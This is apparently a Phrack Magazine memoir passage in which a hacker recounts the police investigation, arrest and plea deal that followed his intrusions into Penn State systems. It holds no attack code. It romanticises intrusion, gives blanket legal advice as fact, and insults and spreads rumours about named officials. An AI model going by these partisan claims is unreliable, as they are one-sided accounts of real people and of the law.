through a one-way mirror, in which your good actions are suddenly
and arbitrarily punished, and the evil you have done is rewarded.
VIII. Third and Fourth Interrogations
I waited anxiously for Dale to return from his meeting. He had
brought with him a professional tape recorder, in order to tape
the interview. The cops were rather upset by this turn
of events, but had no choice but to allow him to tape. While they
attempted to get their tape recorder to work, he offered to loan
them a pair of batteries, as theirs were dead.
The interrogation followed roughly the same twists and turns as
mine had, with more of an emphasis on the subject of "lab supplies."
Question followed question, and Dale insisted that his actions were innocent.
"Hell, if we'd have had a couple of nice women, none of this
would even have happened," he said.
When asked about the Huang account that Ron Gere had created for
him, he explained that Huang was a nom-de-plume, and certainly not
an alias for disguising crime.
The police persisted, and returned to the subject of "lab supplies",
and finally declared that they knew Dale and I were dealing in some
sort of contraband, but that they would be prepared to offer leniency
if he would give them names. Dale was adamant in his refusal.
Finally, they said that they wanted him to make a drug buy for
them.
"Well, you'll have to introduce me to someone, because I sure
don't know anyone who does that kind of stuff."
Eventually, they set an appointment with him to speak with Ron
Schreffler, the university cop in charge of undercover narcotics
investigations.
He called to reschedule the appointment a few days later, and then,
eventually, cancelled it entirely, saying: "I have nothing to talk
to him about."
Finally, they ceased following this tack, realizing that even in
Pennsylvania pursuing an entirely fruitless avenue of investigation
is seen very dimly by their superiors. The topic of "lab supplies"
was never mentioned again, and certainly not in the arrest warrant
affidavit, as we were obviously innocent of any wrongdoing in that
area.
Warning Dale not to leave the area, they terminated the interview.
Shortly thereafter, there was a fourth and final interview, with
Dale and I present. We discussed nothing of any significance, and
it was almost informal, as if we and the cops were cronies of some sort.
Only Jeffery Jones was excluded from this circle, as he was limited
largely to monosyllabic grunts and wild, paranoid accusations. We
discovered that Wayne Weaver was a twenty-three year veteran, and
it struck me that if I had met him in other circumstances I could
have found him quite likable. He was, if nothing else, a professional,
and acted in a professional manner even when he was beyond his
depth in the sea of information which Dale and I navigated with
ease.
I felt almost sympathetic toward him, and wondered how it was for
him to be involved in a case so complex and bizarre. I still failed
to realize why he was acting toward us as he was, and realized that
he, similarly, had no idea what to make of us, who must have seemed
to him like remorseless, arrogant criminals. Unlike my prejudiced
views of what a police officer should be, Wayne was a competent,
intelligent man doing the best he could in a situation beyond his
range of experience, and tried to behave in a conscientious manner.
I feel that Wayne was a good man, but that the very system
he upheld gave him no choice but to do evil, without realizing it.
I am frustrated still by the fact that no matter how much we could
discuss the situation, we could never understand each other in
fullness, because our world-views were so fundamentally different.
Unlike so many of the incompetent losers and petty sadists who
find police work a convenient alternative to criminality, Wayne
was that rarity, a good cop.
Still, without an understanding of the computer subculture, he could not but
see anything we might say to explain it to him as anything other than alien
and criminal, just as a prejudiced American finds a description of the customs
of some South Sea tribe shocking and bizarre. Until we realize what
underlying assumptions we share with the rest of society, we shall be
divided, subculture from culture, criminals from police.
The ultimate goal of the computer underground is to create the circumstances
which will underlie its own dissolution, to enable the total and free
dissemination of all information, and thus to destroy itself by becoming
mainstream. When everyone thinks nothing of doing in daylight what we are
forced to do under cover of darkness, then we shall have succeeded.
Until then, we can expect the Operation Sun-Devils to continue,
and the witch-hunts to extend to every corner of cyberspace. The
public at large still holds an ignorant dread of computers, having
experienced oppression by those who use computers as a tool of
secrecy and intrusion, having been told that they are being audited
by the IRS because of "some discrepancies in the computer," that
their paycheck has been delayed because "the computer's down,"
that they can't receive their deceased spouse's life-insurance benefits
because "there's nothing about it in the computer." The computer
has become both omnipresent and omnipotent in the eyes of many,
is blamed by incompetent people for their own failure, is used
to justify appalling rip-offs by banks and other major social
institutions, and in addition is not understood at all by the
majority of the population, especially those over thirty, those
who comprise both the law-enforcement mentality and aging hippies,
both deeply distrustful of anything new.
It is thus that such a paradox would exist as a hacker, and if
we are to be successful, we must be very careful to understand
the difference between secrecy and privacy. We must understand
the difference between freedom of information and freedom from
intrusion. We must understand the difference between invading
the inner sanctum of oppression and voyeurism, and realize that
even in our finest hours we too are fallible, and that in
negotiating these finely-hued gray areas, we are liable to
lose our path and take a fall.
In this struggle, we can not allow a justifiable anger to become
hatred. We can not allow skepticism to become nihilism. We can
not allow ourselves to harm innocents. In adopting the
intrusive tactics of the oppressors, we must not allow ourselves
to perform the same actions that we detest in others.
Perhaps most importantly, we must use computers as tools to serve
humanity, and not allow humans to serve computers. For the
non-living to serve the purposes of the living is a good and
necessary thing, but for the living to serve the purposes of
the non-living is an abomination.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 13 of 27
[My Bust Continued]
IX. Consultations
Dale and I began to consider options in our battle against this senseless
investigation. We spent many nights pondering the issue, and arrived at a
number of conclusions.
Since we had already talked to the police, and were rapidly realizing
what a vast error that had been, we wondered how it was possible
to sidestep, avoid or derail the investigation. We hoped that Ron
Gere and others would not be held accountable for my actions, a wish
that was to be denied.
A great deal of resentment existed toward me in those whose
lives were affected, and I would be either an idiot or a liar to deny
that my actions affected many people, in many places, some of whom I
had never even met in person. However, I was unable to do anything
for many of these people, so I concentrated largely on my own survival
and that of those near me.
Dale and I decided, eventually, that the only person who could claim
any real damage was Dhamir Mannai, and we arranged an
appointment with him to discuss what had happened.
We met in his book-lined office in the Electrical Engineering Office,
and shook hands before beginning a discussion. I explained what
I had done, and why I had done it, and apologized for any damages that
had occurred. Dale, similarly, excused my actions, and while he had
nothing to do with them, noted that he was under investigation as well.
We offered to help repair the /etc/groups file which I had damaged,
but due to the circumstances, it is understandable that he politely
declined our offer.
Dhamir was surprisingly sympathetic, though justifiably angered. However,
after about a half hour of discussion, he warmed from suspicion to
friendliness, and after two hours of discussion he offered to testify
for us against the police, noting that he had been forced on two previous
occasions to testify against police. He held a very dim
view of the investigation, and noted that "The police have bungled the case
very badly." Dhamir, in fact, was so annoyed by the investigation that he
called Wayne that night to object to it. He made it clear that he
intended to oppose the police.
The next night, as Dale and I were entering the Music Building, a police
cruiser came to a sudden stop in the parking lot and Wayne walked up to
us with a perturbed expression.
Without pausing for greetings, he informed us that he was now
considering filing additional charges against us for "Tampering with
Witnesses," without identifying the witness. In his eyes, the legality
of restraining our actions and speech based on hypothetical and unfiled
charges was not relevant; and he was angry that a primary witness had
been rendered useless to him.
Finally, we talked more informally. Genuinely curious about his
motivations, we asked him about the investigation and what turns
could be expected in the future. Realizing that the investigation
had entered a quiescent stage and we would not likely meet again
until court, we talked with him.
Dale said "So let me get this straight. They saddled the older,
more experienced cop with the recruit?"
Wayne didn't answer, but nodded glumly.
"What's this like for you?" I asked.
"Well, I have to admit, in my twenty-three years on the force,
this case is the biggest hassle I've ever had."
"I can see why," said Dale.
"I almost wish you had been in charge of this case, instead of that
goof Jeff," I said.
"Yes, he's too jumpy," said Dale. "Like an Irish Setter with a gun."
"Well, if I'd been in charge of this case," Wayne said, "it would have
been down the pike a long time ago."
After more discussion of this sort, Wayne's walkie-talkie burst into
cop chatter.
"We have three men, throwing another man, into a dumpster, behind
Willard," the voice said.
"I guess this means you have to leave, Wayne," said Dale.
Wayne looked embarrassed. We exchanged farewells.
Another very helpful person was Professor Richard Devon,
of the Science, Technology and Science department of Penn State. We
read an article he wrote on the computer underground which, while
hardly condoning malicious hacking, certainly objected to the prevailing
witch-hunt mentality. We contacted him to discuss the case.
He offered to provide testimony in our behalf, and informed us
of the prevailing attitudes of computer security professionals at
Penn State and elsewhere. He corroborated our belief that the
vendetta against us was largely due to the fact that we had embarrassed
Penn State, and that the intensity of the investigation was also largely
due to fallout from the Morris Worm incident.
The fact that he was on the board of directors for the Engineering Computer
Lab increased the value of his testimony. We were expecting damaging
testimony from Bryan Jensen of ECL.
He was friendly and personable, and we talked for several hours.
While there was nothing he could do until the time came to give testimony,
it was very gratifying to find two friends and allies in what we had
thought was a hostile camp.
Our feeling of isolation and paranoia began to dwindle, and we began to
feel more confident about the possible outcome of the investigation.
X. Going Upstairs
With a new-found confidence, we decided to see if it were possible to
end this investigation entirely before charges were filed and it
became a criminal prosecution.
Dale called the Director of Police Services with the slim hope that
he had no knowledge of this investigation and might intervene to stop
it. No dice.
Dale and I composed a letter to the district attorney objecting to
the investigation, also in the hopes of avoiding the prosecution of
the case. I include the letter:
Dear Mr. Gricar:
We are writing to you because of our concerns regarding an investigation
being conducted by the Pennsylvania State University Department of
University Safety with respect to violations of Pa.C.S.A. tilde 3933
(Unlawful Use of Computer) alleged to us. We have enclosed a copy of
this statute for your convenience.
Despite recommendations from NASA security officials and concerned members
of the professional and academic computing community that we file suit
against the Pennsylvania State Universities, we have tried earnestly to
accommodate this investigation.
We have cooperated fully with Police Services Officers Wayne Weaver
and Jeffrey Jones at every opportunity in this unnecessary eight-week
investigation. However, rather than arranging for direct communication
between the complaining parties and us to make it possible to make clear
the nature of our activities, the University Police have chosen to siphon
information to these parties in an easily-misinterpreted and secondhand
manner. This has served only to obscure the truth of the matter and create
confusion, misunderstanding and inconvenience to all involved.
The keen disappointment of the University Police in finding that we have
not been involved in espionage, electronic funds transfer or computer
terrorism appears to have finally manifested itself in an effort to
indict us for practices customary and routine among faculty and students
alike. While we have come to realize that activities such as using a
personal account with the permission of the authorized user may constitute
a violation of an obscure and little-known University policy, we find it
irregular and unusual that such activities might even be considered a
criminal offense.
The minimal and inferential evidence which either will
or has already been brought before you is part of a preposterous attempt to
shoehorn our alleged actions into the jurisdiction of a law which lacks
relevance to a situation of this nature.
We have found this whole affair to be capricious and arbitrary, and despite
our reasonable requests to demonstrate and display our activities in the
presence of computer-literate parties and with an actual computer, they
have, for whatever reasons, denied direct lines of communication which
could have enabled an expeditious resolution to this problem.
This investigation has proceeded in a slipshod manner, rife with inordinate
delays and intimidation well beyond that justified by an honest desire to
discern the truth. While certain evidence may appear to warrant scrutiny,
this evidence is easily clarified; and should the District Attorney's
office desire, we would be pleased to provide a full and complete
accounting of all our activities at your convenience and under oath.
In view of the judicial system being already overtaxed by an excess of
important and pressing criminal cases, we would like to apologize for
this matter even having encroached on your time.
Sincerely yours,
Dale Garrison
Robert W. F. Clark
This letter had about as much effect as might be imagined, that is to
say, none whatever.
My advice from this experience is that it is very likely that you will
be able to find advice in what you might think to be a hostile quarter.
To talk to the complaining party and apologize for any damage you might
have caused is an excellent idea, and has a possibility of getting the
charges reduced or perhaps dropped entirely.
Simply because the police list a person as a complaining party does not
necessarily mean that the person necessarily approves of, or even has
knowledge of, the police proceedings. In all likelihood, the complaining
parties have never met you, and have no knowledge of what your
motivations were in doing what you did. With no knowledge of your motives,
they are likely to attribute your actions to malice.
If there are no demonstrable damages, and the person is sympathetic, you
may find an ally in the enemy camp. Even if you have damaged a machine,
you are in a unique position to help repair it, and prevent further
intrusion into their system.
Regardless of the end result, it can't hurt to get some idea of what
the complaining parties think. If you soften outright hostility and
outrage even to a grudging tolerance, you have improved the chance
of a positive outcome.
While the police may object to this in very strong terms, and make dire
and ambiguous threats, without a restraining order of some kind there
is very little they can do unless you have bribed or otherwise
offered a consideration for testimony.
Talking to the police, on the other hand, is a very bad idea, and
will result in disaster. Regardless of any threats and intimidation they
use, there is absolutely nothing they can do to you if you do not
talk to them. Any deal they offer you is bogus, a flat-out lie. They
do not have the authority to offer you a deal. These two facts can not
be stressed enough. This may seem common knowledge, the sort even an
idiot would know. I knew it myself.
However, from inexperience and arrogance I thought myself immune
to the rules. I assumed that talking to them could damage nothing,
since I had done nothing wrong but make a mistake. Certainly
this was just a misunderstanding, and I could easily clear it up.
The police will encourage you to believe this, and before you realize it
you will have told them everything they want to know.
Simply, if you are not under arrest, walk away. If you are
under arrest, request an attorney.
Realize that I, a confirmed paranoid, knowing and having heard this
warning from other people, still fell into the trap of believing myself
able to talk my way out of prosecution. Don't do the same thing
yourself, either from fear or arrogance.
Don't tell them anything. They'll find out more than enough without
your help.
XI. Interlude
Finally, after what had seemed nearly two weeks of furious activity,
constant harassment and disasters, the investigation entered a more
or less quiescent state. It was to remain in this state for several
months.
This is not to say that the harassment ceased, or that matters improved.
The investigation seemed to exist in a state of suspended animation, from
our viewpoint. Matters ceased getting worse exponentially.
Now, they merely got worse arithmetically.
My parents ejected me from home for the second time due to my
grades. They did not know about the police investigation. I
was in no hurry to tell them about it. I could have went to live
with my father, but instead I returned to State College by bus, with no
money, no prospects and no place to live. I blamed the police
investigation for my grades, which was not entirely correct. I
doubt, however, that I would have failed as spectacularly as I had
if the police had not entered my life.
Over the Christmas break, when the campus was mostly vacant, Dale
noticed a new set of booted footprints in the new-fallen snow every
night, by the window to the Electronic Music Lab, and by that window
only.
A few times, I heard static and odd clicks on the telephone at
the Lab, but whether this was poor telephone service or some
clumsy attempt at a wiretap I can not say with assurance.
I discovered that my food card was still valid, so
I had a source of free food for a while. I had switched to a
nocturnal sleep cycle, so I slept during the day in the Student Union
Building, rose for a shower in the Athletics Building at about midnight,
and hung out in the Electronic Music Lab at night. Being homeless is not as
difficult as might be imagined, especially in a university environment,
as long as one does not look homeless. Even if one does look scruffy,
this will raise few eyebrows on a campus.
Around this time, I switched my main interest from computer hacking to
reading and writing poetry, being perhaps the thousandth neophyte poet
to use Baudelaire as a model. I suppose that I was striving to create
perfection from imperfect materials, also my motivation for hacking.
Eventually, Dale offered to let me split the rent with him on a room.
The police had 'suggested' that WPSX-TV3 fire him from his job as an
audio technician. Regardless of the legality of this skullduggery,
WPSX-TV3, a public television station, reprehensibly fired him.
This is another aspect of the law-enforcement mentality which bears
close examination.
While claiming a high moral ground, as protectors of the community,
they will rationalize a vendetta as somehow protecting some vague and
undefined 'public good.' With the zeal of vigilantes, they
will eschew the notion of due process for their convenience. Considering
the law beneath them, and impatient at the rare refusal of judges and
juries to be a rubber-stamp for police privilege, they will take
punishment into their own hands, and use any means necessary to destroy
the lives of those who get in their way.
According to the Random House Dictionary of the English Language
(Unabridged Edition):
Police state: a nation in which the police, especially a
secret police, suppresses any act by an individual or group
that conflicts with governmental policy or principle.
Since undisclosed members of CERT, an organization directly
funded by Air Force Intelligence, are authorized to make anonymous
accusations of malfeasance without disclosing their identity, they
can be called nothing but secret police.
The spooks at the CIA and NSA also hold this unusual privilege, even if
one does not consider their 'special' operations. What can these
organizations be called if not secret police?
It can not be denied, even by those myopic enough to believe that such
organizations are necessary, that these organizations comprise a vast
and secret government which is not elected and not subject to legal
restraint. Only in the most egregious cases of wrongdoing are these
organizations even censured; and even in these cases, it is only the
flunkies that receive even a token punishment; the principals, almost
without exception, are exonerated and even honored. Those few
who are too disgraced to continue work even as politicians ascend to
the rank of elder statesmen, and write their memoirs free from
molestation.
When your job, your property and your reputation can be destroyed
or stolen without recompense and with impunity, what can our
nation be called but a police state? When the police are even free
to beat you senseless without provocation, on videotape, and still
elude justice, what can this nation be called but a police state?
Such were my thoughts during the months when the investigation
seemed dormant, as my anger began, gradually, to overcome
my fear. This is the time that I considered trashing
the Penn State data network, the Internet, anything I could.
Punishment, to me, has always seemed merely a goad to future
vengeance. However, I saw the uselessness of taking revenge on
innocent parties for the police's actions.
I contacted the ACLU, who showed a remarkable lack of interest in
the case. As charges had not been filed, there was little they
could do. They told me, however, to contact them in the event
that a trial date was set.
"If you cannot afford an attorney, one will be provided for you."
This is, perhaps, the biggest lie in the litany of lies
known as the Miranda rights. It is the court which prosecutes
you that decides whether you can afford an attorney, and the same
court selects that attorney.
Without the formal filing of charges, you can not receive the assistance
of a public defender. This is what I was told by the public defender's
office. Merely being investigated apparently does not entail the right
to counsel, regardless of the level of harassment involved in the
investigation.
We remained in intermittent contact with the police, and called
every week or so to ask what was happening. We learned nothing new.
The only information of any importance I did learn was at a
party. Between hand-rolled cigarettes of a sort never sold by
the R. J. Reynolds' Tobacco Company, I discussed my case.
This might not be the sort of thing one would normally do at a party,
but if you are busted you will find that the investigation takes a
central role in your life. When you are not talking about it, you
are thinking about it. When you are not thinking about it, you are
trying the best you can not to think about it. It is a cherished belief
of mine that anyone who survives a police investigation ought to receive
at least an Associate's degree in Criminal Law; you will learn more about
the law than you ever wished to know.
The person on my right, when I said that Jeffery Jones was in charge
of the case, immediately started. "He was in my high school class,"
said the man, who sported a handlebar mustache.
"What? Really? What's he like? Is he as much of an asshole in person?"
I asked.
"He was kind of a weird kid."
"How? What's he done? Have you kept in touch?"
"Well, all I really know about him is that he went out to be a cop in
Austin, but he couldn't take it, had a breakdown or something, and came
back here."
"I can see that. He's a fucking psycho."
I gloated over this tidbit of information, and decided that I would
use it the next time I met the police.
This was to be several weeks. Though we had given the police our work
schedules, phone numbers at home, work and play; and informed them when
they might be likely to locate us at any particular place, we had apparently
underestimated the nearly limitless incompetence of Penn State's elite
computer cops.
As he was walking to work one day, Dale saw Jeffery Jones driving
very slowly and craning his neck in all directions, apparently looking
for someone. However, he failed to note the presence of Dale, the only
person on the street. Dale wondered whether Jeffery had been looking for
him.
The next night at the Lab, the telephone rang. With a series of typical,
frenzied accusations Jeffery Jones initiated the conversation. He believed
that we had been attempting to escape or evade him in some manner. Wayne
was on another line, and Dale and I talked from different phones.
"You've been trying to avoid us, haven't you?" Jeffery shouted.
"Where have you been?" asked Wayne.
"We told you where we'd be. You said you'd be in touch," I said.
"We haven't been able to find you," said Wayne.
"Look, you have our goddamn work schedule, our address, our phone
numbers, and where we usually are. What the hell else do you need?"
asked Dale.
"We went to your address. The guy we talked to didn't know where
you were," said Wayne.
As we discovered later that night, the police had been at our apartment,
and had knocked on the wrong door, that of our downstairs neighbor,
a mental patient who had been kicked out of the hospital after Reagan's
generous revision of the mental health code. His main activity was
shouting and threatening to kill people who weren't there, so the
consternation of the police was not surprising.
"So we weren't there. You could have called," said Dale.
"I just hope you don't decide to leave the area. We're going to
arrest you in a couple of days," said Wayne.
"You've been saying that for the last three months," I said.
"What's taking so long?"
"The secretary's sick," said Jeffery.
"You ought to get this secretary to a doctor. She must be
really goddamn sick, if she can't type up an arrest warrant
in three months," said Dale.
"Hell, I'll come down and type up the damn thing myself, if
it's too tough for the people you have down there," I offered.
"No, that won't be necessary," said Wayne.
"Look, when you want to arrest us, just give us a call and we'll
come down. Don't pull some dumb cop routine like kicking in the
door," said Dale.
"Okay," Wayne said. "Your cooperation will be noted."
"By the way, Jeff, I heard you couldn't hack it in Austin," I said.
Silence followed.
After an awkward silence, Wayne said: "We'll be in touch."
We said our goodbyes, except for Jeffery, and hung up the phones.
I somewhat regretted the last remark, but was still happy with its
reception. It is probably unwise to play Scare-the-Cops, but by
then I no longer gave a damn. He was probably dead certain that I
had found this information, and other tidbits of information I had
casually mentioned, in some sort of computer database. His mind
was too limited to consider the possibility that I had met an old
high-school chum of his and pumped him for information.
By this time, our fear of the police had diminished, and both of
us were sick to death of the whole business. We just hoped that
whatever was to happen would happen more quickly.
When the police first started threatening to arrest us within days,
it would send a tremor down my spine. However, after three months of
obfuscation, excuses, continued harassment of this nature, my only
response to this threat was anger and boredom.
At least, upon arrest, we would enter a domain where there were some
rules of conduct and some certainty. The Kafkaesque uncertainty and
arbitrarily redefined rules inherent in a police investigation were
intolerable.
After another month of delay, the police called us again,
and we agreed to come in to be arrested at nine o'clock the
next morning.
It was possible that the police would jail us, but it seemed unlikely.
Two prominent faculty members had strongly condemned the behavior of
the police. The case was also politically-charged, and jailing us
would likely have resulted in howls of outrage, and perhaps even in
a civil or criminal suit against Penn State.
Wayne told us that we would have to go to the District Magistrate
for a preliminary hearing. Dale said that we would go, but demanded a ride
there and back. The police complied.
We were more relieved than worried. Finally, something was happening.
XII. The Arrest
On a cold and sunny morning we walked into the police station to be
arrested. I was curious as to the fingerprinting procedure. The cops
were to make three copies of my fingerprints, one for the local police,
one for the state police, and one for the FBI.
Jeffery was unable to fingerprint me on the first two attempts.
When he finally succeeded in fingerprinting me, he had to do it again.
He had incorrectly filled out the form. Finally, with help
from Wayne, he was able to fingerprint me.
Dale was more difficult. Jeffery objected to the softness of Dale's
fingers, and said that would make it difficult. The fact that Dale's
fingers were soft, as he is a pianist more accustomed to smooth
ivory than plastic, would seem to exonerate him from any charge of
computer hacking. However, such a thought never troubled the idyllic
vacancy of Jeffery's mind. He was too busy bungling through
the process of fingerprinting. Wayne had to help him again.
There was soap and water for washing the ink from our
fingers. However, it left the faintest trace of ink on the pads
of my fingers, and I looked at the marks with awe, realizing that
I had been, in a way, permanently stigmatized.
However, as poorly as the soap had cleaned my fingers, I thought
with grim amusement that Jeffery would have much more difficulty
cleaning the ink from his clothes.
Jeffery did not take the mug shots. A photographer took them.
Therefore, it went smoothly.
Finally, Wayne presented me with an arrest warrant affidavit, evidently
written by Jeffery Jones. A paragon of incompetence, incapable of
performing the simplest task without assistance, Jeff had written an
eighteen-page arrest warrant affidavit which was a marvel of incoherence
and inaccuracy. This document, with a list of corrections and emendations,
will appear in a separate article.
While reading the first five pages of this astounding document, I attempted
to maintain an air of solemnity. However, by the sixth page, I was stifling
giggles. By the seventh, I was chuckling out loud. By the eighth page I
was laughing. By the ninth page I was laughing loudly, and I finished the
rest of the document in gales of mirth. Everyone in the room stared at me
as if I were insane. This didn't bother me. Most of my statements to the
police resulted in this sort of blank stare. Even Dale looked as if
he thought I had cracked, but he understood when he saw his arrest
warrant affidavit, nearly identical to mine.
I simply was unable to take seriously that I had spent months worrying
about what kind of a case they had, when their best effort was this
farrago of absurdities.
They took us to Clifford Yorks, the District Magistrate, in separate
cars. This time, we rode in the front seat, and two young recruits
were our chauffeurs. Dale asked his driver if he could turn on the
siren. The cop was not amused.
The only thing which struck me about Clifford Yorks was
that he had a remarkably large head. It appeared as if it
had been inflated like a beach ball.
The magistrate briefly examined the arrest warrant affidavits,
nodded his vast head, and released us on our own recognizance,
in lieu of ten thousand dollars bail. He seemed somewhat preoccupied.
We signed the papers and left. The police offered to give
us a ride right to our house, but we said we'd settle for being
dropped off in town.
Being over a month in arrears for rent, we did not like the idea
of our landlord seeing us arrive in separate police cars; also,
our address was rather notorious, and other residents would be
greatly suspicious if they saw us with cops.
An arraignment was scheduled for a date months in the future.
The waiting game was to resume.
XIII. Legal Counsel
Having been arrested, we were at last eligible for legal counsel.
We went to the yellow pages and started dialing. We started with
the attorneys with colored half-page ads. Even from those advertising
"Reasonable Rates," we received figures I will not quote for fear
of violating obscenity statutes.
Going to the quarter-page ads, then the red-lettered names, then the
schmucks with nothing but names, we received the same sort of numbers.
Finally talking to the _pro bono_ attorneys, we found that we were
entitled to a reduction in rates of almost fifty per cent.
This generosity brought the best price down to around three thousand
dollars, which was three thousand dollars more than we could afford.
So we contacted the public defender's office.
Friends told me that a five thousand dollar attorney is worse, even,
than a public defender; and that it takes at least twenty thousand
to retain an attorney with capable of winning anything but the most
open-and-shut criminal case.
After a certain amount of bureaucratic runaround, we were assigned two
attorneys. One, Deborah Lux, was the Assistant Chief Public Defender;
the other, Dale's attorney, was Bradley Lunsford, a sharp, young
attorney who seemed too good to be true.
We discussed the case with our new attorneys, and were told that the
best action we could take to defend ourselves was to do nothing.
This is true. Anything we had attempted in our own defense, with
the exception of contacting the complaining party, had been harmful
to our case. Any discussions we had with the police were taped and
examined for anything incriminating. A letter to the district
attorney was ignored entirely.
Do absolutely nothing without legal counsel. Most legal counsel will
advise you to do nothing. Legal counsel has more leverage than you do,
and can make binding deals with the police. You can't.
We discussed possible defenses.
As none of the systems into which I had intruded had any sort of warning
against unauthorized access, this was considered a plausible defense.
The almost exclusive use of 'guest' accounts was also beneficial.
A more technical issue is the Best Evidence rule. We wondered whether
a court would allow hardcopy as evidence, when the original document was
electronic. As it happens, hardcopy is often admissible due to
loopholes in this rule, even though hardcopy is highly susceptible to
falsification by the police; and most electronic mail has no
built-in authentication to prove identity.
Still, without anything more damaging than electronic mail, a case
would be very difficult to prosecute. However, with what almost
amounted to a taped confession, the chance of a conviction
was increased.
We went over the arrest warrant affidavit, and my corrections to it,
with a mixture of amusement and consternation.
"So what do you think of this?" asked Dale.
After a moment of thought, Deb Lux said: "This is gibberish."
"I just had a case where a guy pumped four bullets into his brother-in-law,
just because he didn't like him, and the arrest warrant for that was two
pages long. One and a half, really," said Brad.
"Does this help us, at all, that this arrest warrant is just demonstrably
false, that it literally has over a hundred mistakes in it?" I asked.
"Yeah, that could help," said Brad.
We agreed to meet at the arraignment.
XIV. The Stairwells of Justice
The arraignment was a simple procedure, and was over in five minutes.
Prior to our arraignment, five other people were arraigned on charges
of varying severity, mainly such heinous crimes as smoking marijuana
or vandalism.
Dale stepped in front of the desk first. He was informed of the charges
against him, asked if he understood them, and that was it.
I stepped up, but when the judge asked me whether I understood the charges,
I answered that I didn't, and that the charges were incomprehensible
to a sane human being. I had hoped for some sort of response, but
that was it for me, too.
A trial date was set, once again months in advance.
A week before the date arrived, it was once again postponed.
During this week, we were informed that Dale's too good to be true
attorney, Brad Lunsford, had went over to the District Attorney's
office. He was replaced by Dave Crowley, the Chief District Attorney,
a perpetually bitter, pock-faced older man with the demeanor and
bearing of an angry accountant.
Crowley refused to consider any of the strategies we had discussed
at length with Brad and Deb. Dale was understandably irate at the
sudden change, as was I, for when Deb and I were attempting to discuss
the case he would interject rude comments.
Finally, after some particularly snide remark, I told him to fuck
off, or something similarly pleasant, and left. Dale and I tried to
limit our dealings to Deb, and it was Deb who handled both of our
cases to the end, for which I thank God.
The day arrived.
We dressed quite sharply, Dale in new wool slacks and jacket. I dressed
in a new suit as well, and inserted a carnation in my buttonhole as
a gesture of contempt for the proceedings.
Dale looked so sharp that he was mistaken for an attorney twice. I
did not share this distinction, but I looked sharp enough. I had
shaved my beard a month previously after an error in trimming,
so I looked presentable.
We realized that judges base their decisions as much on your appearance
as on what you say. We did not intend to say anything, so
appearance was of utmost importance.
We arrived at about the same time as at least thirty assorted computer
security professionals, police, witnesses and ancillary court personnel.
Dhamir Mannai and Richard Devon were there as well, and we exchanged
greetings. Richard Devon was optimistic about the outcome, as was
Dhamir Mannai. The computer security people gathered into a tight,
paranoid knot, and Richard Devon and Dhamir Mannai stood about ten
feet away from them, closer to us than to them. Robert Owens,
Angela Thomas, Bryan Jensen, and Dan Ehrlich were there, among others.
They seemed nervous and ill-at-ease in their attempt at formal dress.
Occasionally, one or another would glare at us, or at Devon and Mannai.
I smiled and waved.
A discussion of some sort erupted among the computer security people,
and a bailiff emerged and requested that they be quiet. The second time this
was necessary, he simply told them to shut up, and told them to take
their discussion to the stairwells. Dale and I had known of the noise
policy for some time, and took all attorney-client conferences to the
stairwells, which were filled at all times with similar conferences.
It seemed that all the hearings and motions were just ceremonies without
meaning; all the decisions had been made, hours before, in the stairwells
of justice.
Finally Deb Lux arrived, with a sheaf of documents, and immediately left,
saying that she would return shortly. A little over twenty minutes later,
she returned to announce that she had struck a deal with Eileen Tucker,
the Assistant District Attorney.
In light of the garbled nature of the police testimony, the spuriousness
of the arrest warrant affidavit, the hostility of their main witness,
Dhamir Mannai, and the difficulty of prosecuting a highly technical case,
the Office of the District Attorney was understandably reluctant to
prosecute us.
I was glad not to have to deal with Eileen Tucker, a woman affectionately
nicknamed by other court officials "The Wicked Witch of the West."
With her pallid skin, and her face drawn tightly over her skull as
if she had far too much plastic surgery, this seemed an adequately
descriptive name, both as to appearance and personality.
The deal was Advanced Rehabilitative Disposition, a pre-trial diversion in
which you effectively receive probation and a fine, and charges are dismissed,
leaving you with no criminal record. This is what first-time
drunk drivers usually receive.
It is essentially a bribe to get the cops off your back.
The fines were approximately two thousand dollars apiece, with Dale
arbitrarily receiving a fine two hundred dollars greater than mine.
After a moment of thought, we decided that the fines were too large.
We turned down the deal, and asked her if she could get anything
better than that.
After a much shorter conference she returned, announcing
that the fines had been dropped by about a third. Still unsatisfied,
but realizing that the proceedings, trial, jury selection, delays,
sentencing, motions of discovery and almost limitless writs and
affidavits and appeals would take several more months, we agreed
to the deal. It was preferable to more hellish legal proceedings.
We discussed the deal outside with Richard Devon; Dhamir Mannai had left,
having pressing engagements both before and after his testimony had
been scheduled. We agreed that a trial would probably have resulted
in an eventual victory, but at what unaffordable cost? We had no
resources or time for a prolonged legal battle, and no acceptable
alternative to a plea-bargain.
XV. The End? Of Course Not; There Is No End
This, we assumed incorrectly, was the end. There was still a date
for sentencing, and papers to be signed.
Nevertheless, this was all a formality, and weeks distant. There
was time to prepare for these proceedings. The hounds of spring
were on winter's traces. Dale and I hoped to return to what was
left of our lives, and to enjoy the summer.
This hope was not to be fulfilled.
For, while entering the Electronic Music Lab one fine spring night,
Andy Ericson [*], a locally-renowned musician, was halted by the
University Police outside the window, as he prepared to enter.
We quickly explained that we were authorized to be present, and
immediately presented appropriate keys, IDs and other evidence that
we were authorized to be in the Lab.
Nevertheless, more quickly than could be imagined, the cops grabbed
Andy and slammed him against a cruiser, frisking him for
weapons. They claimed that a person had been sighted carrying a
firearm on campus, and that they were investigating a call.
No weapons were discovered. However, a small amount of marijuana
and a tiny pipe were found on him. Interestingly, the police log
in the paper the following day noted the paraphernalia bust, but
there was no mention of any person carrying a firearm on campus.
Andy, a mathematician pursuing a Master's Degree, was performing
research in a building classified Secret, and thus required a security
clearance to enter the area where he performed his research.
His supervisor immediately yanked his security clearance, and
this greatly jeopardized his chances of completing his thesis.
This is, as with my suspicions of wiretapping, an incident in which
circumstantial evidence seems to justify my belief that the
police were, even then, continuing surveillance on my friends and
on me. However, as with my wiretapping suspicions, there is
a maddening lack of substantial evidence to confirm my belief
beyond a reasonable doubt.
Still, the police continued their series of visits to the Lab, under
one ruse or another. Jeffery Jones, one night, threatened to arrest
Dale for being in the Electronic Music Lab, though he had been informed
repeatedly that Dale's access was authorized by the School of Music. Dale
turned over his keys to Police Services the following day, resenting it
bitterly.
This, however, was not to be a victory for the cops, but a crushing
embarrassment. While their previous actions had remained at least
within the letter of the law and of university policy, this was
egregious and obvious harassment, and was very quickly quashed.
Bob Wilkins, the supervisor of the Electronic Music Lab; Burt Fenner,
head of the Electronic Music division; and the Dean of the College of
Arts and Architecture immediately drafted letters to the University
Police objecting to this illegal action; as it is the professors and
heads of departments who authorize keys, and not the University
Police. The keys were returned within three days.
